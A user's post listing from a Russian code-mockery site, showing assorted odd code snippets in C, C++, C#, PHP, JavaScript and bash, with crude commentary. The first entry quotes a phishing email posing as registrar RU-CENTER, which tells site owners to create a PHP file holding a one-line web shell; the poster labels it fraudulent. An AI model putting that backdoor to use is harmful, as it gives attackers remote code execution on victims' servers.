1. Список говнокодов пользователя j123123

    Всего: 338

  2. PHP / Говнокод #21954

    −31

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    Уважаемый клиент!
    
    В соответствии с изменениями, внесенными в ICANN RAA, Вы должны подтвердить,
    что фактическое управление доменом ******* осуществляется лицом,
    указанным в качестве его администратора.
    
    Чтобы подтвердить, что Вы имеете фактическую возможность управлять доменом,
    создайте в корневой директории сайта файл a7offau08fn0f81n.php со следующим
    содержимым:
    
    <?php
    assert(stripslashes($_REQUEST[RUCENTER]));
    ?>
    
    Файл должен быть создан в течение трех рабочих дней с момента получения
    настоящего письма и находиться на сервере до 24 декабря 2016 года, 20:00
    (UTC+03:00), в противном случае процедура подтверждения не будет пройдена.
    
    Обращаем Ваше внимание на то, что если процедура подтверждения не будет
    пройдена, делегирование домена будет приостановлено.
    
    © АО «Региональный Сетевой Информационный Центр» (RU-CENTER)
    8 800 775-29-99, 8 800 250-27-99,
    +7 495 994-46-01
    
    Вы подписались на рассылку в настройках уведомлений.
    Отписаться от рассылки

    Мошеннические письма под видом писем от RU-CENTER

    интересно, почему не eval() ?

    j123123, 07 Января 2017

    Комментарии (131)
  3. Си / Говнокод #21932

    −47

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    #include <stdio.h>
    #include <string.h>
    #include <stdint.h>
    #include <sys/mman.h>
    
    typedef intptr_t binaryfunc(intptr_t, intptr_t);
    typedef intptr_t unaryfunc(intptr_t);
    
    #define evalsiz ((intptr_t)eval_end - (intptr_t)eval)
    #define clossiz (evalsiz+sizeof(intptr_t)+sizeof(int))
    void eval_end();
    intptr_t eval(intptr_t rem) {
    #define argsize ((intptr_t)&&argend - (intptr_t)eval)
    #define leasize ((intptr_t)&&leaaft - (intptr_t)&&leabef)
    #define eoffset (argsize+leasize)
        argend:;
        register void *ptr asm("r10");
        leabef: asm("lea (%rip),%r10"); leaaft:;
        void *off = (ptr - eoffset + evalsiz);
        binaryfunc *bin = *(binaryfunc**)off;
        return bin(*(intptr_t *)(off+sizeof(intptr_t)),rem);
    }
    void eval_end() { }
    
    unaryfunc* apply(binaryfunc *bin, intptr_t arg) {
        void *data = mmap(0, clossiz, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        memmove(data, &eval, evalsiz);
        intptr_t ptr = (intptr_t)bin;
        memmove(data+evalsiz, &ptr, sizeof(intptr_t));
        memmove(data+evalsiz+sizeof(intptr_t), &arg, sizeof(intptr_t));
        return data;
    }
    
    intptr_t add(intptr_t a, intptr_t b) {
        return a+b;
    }
    
    int main() {
        printf("%ld\n", apply(add, 1)(2));
        return 0;
    }

    Simple x86_64 closure implementation attempt

    https://gist.github.com/iamtakingiteasy/c80112437ebc1f8d73eecf8df27caa24

    j123123, 01 Января 2017

    Комментарии (5)
  4. JavaScript / Говнокод #21806

    −44

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    гыы gop сука нетрулио, lt нах
    
    куку йопта law() {
        вилкойвглаз(gop эквалио нетрулио) {
            ксива.малява("Я и правда язык") нах
            gop сука трулио нах
        }  иливжопураз {
            gop сука трулио нах
            потрещим(semki чоблясука трулио) {
                lt сука ксива.вычислитьЛохаПоНомеру("list") нах
                ебало.шухер("Привет, йопта") нах
            }
        }
    }

    https://yopta.space/

    j123123, 09 Декабря 2016

    Комментарии (6)
  5. Си / Говнокод #21642

    −25

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    /**
      * Сортирует массив, используя рекурсивную сортировку слиянием
      * up - указатель на массив, который нужно сортировать
      * down - указатель на массив с, как минимум, таким же размером как у 'up', используется как буфер
      * left - левая граница массива, передайте 0, чтобы сортировать массив с начала
      * right - правая граница массива, передайте длину массива - 1, чтобы сортировать массив до последнего элемента
      * возвращает: указатель на отсортированный массив. Из-за особенностей работы данной реализации
      * отсортированная версия массива может оказаться либо в 'up', либо в 'down' // <--- ГОВНО
      **/
    int* merge_sort(int *up, int *down, unsigned int left, unsigned int right)
    {
        if (left == right)
        {
            down[left] = up[left];
            return down;
        }
    
        unsigned int middle = (unsigned int)((left + right) * 0.5); // <--- ГОВНО, нахуй сюда плавучих питухов пихать?
        // И что еще за unsigned int? Даешь uintptr_t.
        // И если указатели будут 64-битные, то плавучий питух может обосраться на больном размере массивов
    
        // разделяй и сортируй
        int *l_buff = merge_sort(up, down, left, middle);
        int *r_buff = merge_sort(up, down, middle + 1, right);
    
        // слияние двух отсортированных половин
        int *target = l_buff == up ? down : up;
    
        unsigned int width = right - left, l_cur = left, r_cur = middle + 1;
        for (unsigned int i = left; i <= right; i++)
        {
            if (l_cur <= middle && r_cur <= right)
            {
                if (l_buff[l_cur] < r_buff[r_cur])
                {
                    target[i] = l_buff[l_cur];
                    l_cur++;
                }
                else
                {
                    target[i] = r_buff[r_cur];
                    r_cur++;
                }
            }
            else if (l_cur <= middle)
            {
                target[i] = l_buff[l_cur];
                l_cur++;
            }
            else
            {
                target[i] = r_buff[r_cur];
                r_cur++;
            }
        }
        return target;
    }

    https://ru.wikipedia.org/wiki/Сортировка_слиянием

    j123123, 05 Ноября 2016

    Комментарии (17)
  6. Куча / Говнокод #21624

    −12

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    Python: What if everything was a dict?
    Java: What if everything was an object?
    JavaScript: What if everything was a dict *and* an object?
    C: What if everything was a pointer?
    APL: What if everything was an array?
    Tcl: What if everything was a string?
    Prolog: What if everything was a term?
    LISP: What if everything was a pair?
    Scheme: What if everything was a function?
    Haskell: What if everything was a monad?
    Assembly: What if everything was a register?
    Coq: What if everything was a type/proposition?
    COBOL: WHAT IF EVERYTHING WAS UPPERCASE?
    C#: What if everything was like Java, but different?
    Ruby: What if everything was monkey patched?
    Pascal: BEGIN What if everything was structured? END
    C++: What if we added everything to the language?
    C++11: What if we forgot to stop adding stuff?
    Rust: What if garbage collection didn't exist?
    Go: What if we tried designing C a second time?
    Perl: What if shell, sed, and awk were one language?
    Perl6: What if we took the joke too far?
    PHP: What if we wanted to make SQL injection easier?
    VB: What if we wanted to allow anyone to program?
    VB.NET: What if we wanted to stop them again?
    Forth: What if everything was a stack?
    ColorForth: What if the stack was green?
    PostScript: What if everything was printed at 600dpi?
    XSLT: What if everything was an XML element?
    Make: What if everything was a dependency?
    m4: What if everything was incomprehensibly quoted?
    Scala: What if Haskell ran on the JVM?
    Clojure: What if LISP ran on the JVM?
    Lua: What if game developers got tired of C++?
    Mathematica: What if Stephen Wolfram invented everything?
    Malbolge: What if there is no god?

    j123123, 01 Ноября 2016

    Комментарии (36)
  7. Си / Говнокод #21585

    −46

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    #include <stdio.h>
    
    #define SPLICE(a,b) SPLICE_1(a,b)
    #define SPLICE_1(a,b) SPLICE_2(a,b)
    #define SPLICE_2(a,b) a##b
     
     
    #define PP_ARG_N( \
              _1,  _2,  _3,  _4,  _5,  _6,  _7,  _8,  _9, _10, \
             _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, \
             _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, \
             _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, \
             _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, \
             _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, \
             _61, _62, _63, N, ...) N
     
    /* Note 63 is removed */
    #define PP_RSEQ_N()                                        \
             62, 61, 60,                                       \
             59, 58, 57, 56, 55, 54, 53, 52, 51, 50,           \
             49, 48, 47, 46, 45, 44, 43, 42, 41, 40,           \
             39, 38, 37, 36, 35, 34, 33, 32, 31, 30,           \
             29, 28, 27, 26, 25, 24, 23, 22, 21, 20,           \
             19, 18, 17, 16, 15, 14, 13, 12, 11, 10,           \
              9,  8,  7,  6,  5,  4,  3,  2,  1,  0
     
    #define PP_NARG_(...)    PP_ARG_N(__VA_ARGS__)    
     
    /* Note dummy first argument _ and ##__VA_ARGS__ instead of __VA_ARGS__ */
    #define PP_NARG(...)     PP_NARG_(_, ##__VA_ARGS__, PP_RSEQ_N())
    
    
    #define MAX_1(VAR, ...) \
      VAR
     
    #define MAX_2(VAR, ...) \
      (((VAR)>MAX_1(__VA_ARGS__))?(VAR):MAX_1(__VA_ARGS__))
     
    #define MAX_3(VAR, ...) \
      (((VAR)>MAX_2(__VA_ARGS__))?(VAR):MAX_2(__VA_ARGS__))
     
    #define MAX_4(VAR, ...) \
      (((VAR)>MAX_3(__VA_ARGS__))?(VAR):MAX_3(__VA_ARGS__))
     
    #define MAX_5(VAR, ...) \
      (((VAR)>MAX_4(__VA_ARGS__))?(VAR):MAX_4(__VA_ARGS__))
     
    #define MAX_6(VAR, ...) \
      (((VAR)>MAX_5(__VA_ARGS__))?(VAR):MAX_5(__VA_ARGS__))
     
    #define MAX_7(VAR, ...) \
      (((VAR)>MAX_6(__VA_ARGS__))?(VAR):MAX_6(__VA_ARGS__))
     
    #define MAX_8(VAR, ...) \
      (((VAR)>MAX_7(__VA_ARGS__))?(VAR):MAX_7(__VA_ARGS__))
     
    #define MAX_9(VAR, ...) \
      (((VAR)>MAX_8(__VA_ARGS__))?(VAR):MAX_8(__VA_ARGS__))
     
    #define MAX_10(VAR, ...) \
      (((VAR)>MAX_9(__VA_ARGS__))?(VAR):MAX_9(__VA_ARGS__))
     
    #define MAX_11(VAR, ...) \
      (((VAR)>MAX_10(__VA_ARGS__))?(VAR):MAX_10(__VA_ARGS__))
    //..... дальше лень ...
     
    #define MAXS_(N, ...) \
      SPLICE(MAX_, N)(__VA_ARGS__)
     
    #define MAXS(...) \
      MAXS_(PP_NARG(__VA_ARGS__), __VA_ARGS__)
    
     
    int main(void)
    {
     printf("%d", MAXS(24, 324, 377, 347, 100500, 2442, 224, 7428));
    }

    Макрос MAXS() который принимает произвольное число аргументов и через тернарники заворачивает их, было сделано на основе http://govnokod.ru/14511 говна.

    j123123, 27 Октября 2016

    Комментарии (46)
  8. C++ / Говнокод #21566

    −17

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    #if !defined(COMPILER_MSVC)
    #define ARRAYSIZE(a)              \
        ((sizeof(a) / sizeof(*(a))) / \
        static_cast<size_t>(!(sizeof(a) % sizeof(*(a)))))
    #endif

    https://github.com/tensorflow/tensorflow/blob/754048a0453a04a761e112ae5d99c149eb9910dd/tensorflow/stream_executor/platform/port.h#L42-L46


    Суть этого говновыражения !(sizeof(a) % sizeof(*(a))) судя по всему в том, чтоб оно становилось нулем, если по каким-то причинам размер массива оказывается не кратен размеру элемента этого массива. И тогда эта макропоебень развернется в деление на ноль. Но как такое вообще может быть?

    j123123, 25 Октября 2016

    Комментарии (22)
  9. C# / Говнокод #21550

    −74

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    public static TSource Single<TSource>(this TSource[] array)
            {
                if (array.Length > 1) throw new InvalidOperationException("Sequence contains more than one element");
                return array[0];
            }
            public static TSource Single<TSource>(this List<TSource> array)
            {
                if (array.Count > 1) throw new InvalidOperationException("Sequence contains more than one element");
                return array[0];
            }
            public static TSource First<TSource>(this TSource[] array)
            {
                return array[0];
            }
            public static TSource First<TSource>(this List<TSource> array)
            {
                return array[0];
            }
            public static TSource First<TSource>(this TSource[] array, Func<TSource, bool> condition)
            {
                for (int i = 0; i < array.Length; i++)
                {
                    if (condition(array[i])) return array[i];
                }
                throw new InvalidOperationException("No items match the specified search criteria.");
            }
    
            public static TSource First<TSource>(this List<TSource> array, Func<TSource, bool> condition)
            {
                var len = array.Count;
                for (int i = 0; i < len; i++)
                {
                    if (condition(array[i])) return array[i];
                }
                throw new InvalidOperationException("No items match the specified search criteria.");
    }

    https://github.com/antiufo/roslyn-linq-rewrite/blob/master/RoslynLinqRewrite/Shaman.FastLinq.Sources/FastLinqExtensions.cs#L12


    Зачем тут повторяющиеся функции, отличающиеся только "TSource[]" "List<TSource>" ? В говношарп не завезли аналог плюсовых шаблонов?

    j123123, 24 Октября 2016

    Комментарии (31)
  10. bash / Говнокод #21548

    −72

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    You gotta get God to talk! Praise God for something like water springs and press over and over at the command or in a document!
    
    Then, it won't seem so crazy!
    
    Here's a bash shell script to get God to talk.
    
    ----
    
    #!/bin/bash
    
    #This prints ten random words.
    
    echo "$(shuf -n 10 /usr/share/dict/words --random-source=/dev/urandom | tr '\n' ' ')"

    На говнохабре хуиктаймсе https://geektimes.ru/post/281754/ написали про легендарног шизика, создателя легендарной Temple OS, со своим особым встроенным языком HolyC ("священный си"):

    >В системе есть интерфейс командной строки, который реализован оригинально. Дэвис никак не мог запомнить команды bash, а вот синтаксис С/С++ он знал хорошо. Поэтому скрипты пишутся на C, вернее, его модификации. Для своей операционки Дэвис изменил стандартный C и назвал полученное HolyC («святой си»).

    >За исключением низких уровней, где есть язык 64-битного ассемблера, вся система написана на этом HolyC. Он отличается от обычного. Нет main(), всё, что написано, выполняется. Весь код TempleOS JIT-компилируется по запросу. Если набрать #include из командной строки, то указанная программа будет запущена в пространстве имён оболочки.

    >Система напоминает, что это — цифровой оракул. Раньше Дэвис подкидывал монетку и выбирал случайное число, чтобы открыть Библию, прочитать фрагмент и истолковать его. В TempleOS в любом месте нажатие F7 принесёт случайное слово. Если нажать F7 несколько раз, получится вореция фрагмент текста, в котором можно искать смысл. Shift + F7 выдаст фрагмент Библии.

    В вышеозначенном говнокоде приведен код от самого создателя Temple OS, который генерирует вореции позволяет общаться с Богом. Код взят из Его комментария к статье, посвященной портированию какой-то фигни на его Божественную Храм ОС http://blog.jwhitham.org/2015/07/porting-third-party-programs-to-templeos.html

    См такжеhttp://govnokod.ru/20277 http://govnokod.ru/19117

    j123123, 24 Октября 2016

    Комментарии (9)
  11. Си / Говнокод #21491

    −16

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    /*! Brainfuck Update based on Symbol */
    #define BF_UPDATE_SYM($, S, X) JOIN(BF_UPDATE_SYM_, S)($, X)
    #define BF_UPDATE_SYM_R($, X) (INC(BF_IP(X)), INC(BF_DP(X)), BF_IA(X), BF_DA(X))      /*!< Increment Data Pointer             */
    #define BF_UPDATE_SYM_L($, X) (INC(BF_IP(X)), DEC(BF_DP(X)), BF_IA(X), BF_DA(X))      /*!< Decrement Data Pointer             */
    #define BF_UPDATE_SYM_U($, X) (INC(BF_IP(X)), BF_DP(X), BF_IA(X), BF_DATA_INC($, X))  /*!< Increment Item at Data Pointer     */
    #define BF_UPDATE_SYM_D($, X) (INC(BF_IP(X)), BF_DP(X), BF_IA(X), BF_DATA_DEC($, X))  /*!< Decrement Item at Data Pointer     */
    #define BF_UPDATE_SYM_O($, X) (INC(BF_IP(X)), BF_DP(X), BF_IA(X), BF_DA(X))           /*!< Do Nothing (Output as side effect) */
    #define BF_UPDATE_SYM_F($, X) (BF_JUMP_F($, X), BF_DP(X), BF_IA(X), BF_DA(X))         /*!< Conditional Jump Forwards          */
    #define BF_UPDATE_SYM_B($, X) (BF_JUMP_B($, X), BF_DP(X), BF_IA(X), BF_DA(X))         /*!< Conditional Jump Backwards           */
    #define BF_UPDATE_SYM_($, X)  (INC(BF_IP(X)), BF_DP(X), BF_IA(X), BF_DA(X))           /*!< Do Nothing on empty instruction    */
    
    /*! Main Brainfuck loop */
    #define BF_COND($, X) NOT(BF_IS_BLANK(BF_INSTR($, X)))                        /*!< Terminate on end of input          */
    #define BF_MACRO($, X) IF(BF_IS_OUTPUT(BF_INSTR($, X)), CHAR(BF_DATA($, X)))  /*!< Output on O instruction            */
    #define BF_UPDATE($, X) BF_UPDATE_SYM($, BF_INSTR($, X), X)                   /*!< Update based on instruction symbol */
    #define BF_FINALLY($, X)                                                      /*!< Do nothing on termination          */
    #define BF_RECR($, X) JOIN(RECR_D, $)(INC($), BF_COND, BF_MACRO, BF_UPDATE, BF_FINALLY, X)
    
    /*! Empty Data Array - Extend for more Cells */
    #define BF_DATA_EMPTY() (0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)

    https://github.com/orangeduck/CPP_COMPLETE/ A Brainfuck interpreter written in the C preprocessor.

    j123123, 19 Октября 2016

    Комментарии (14)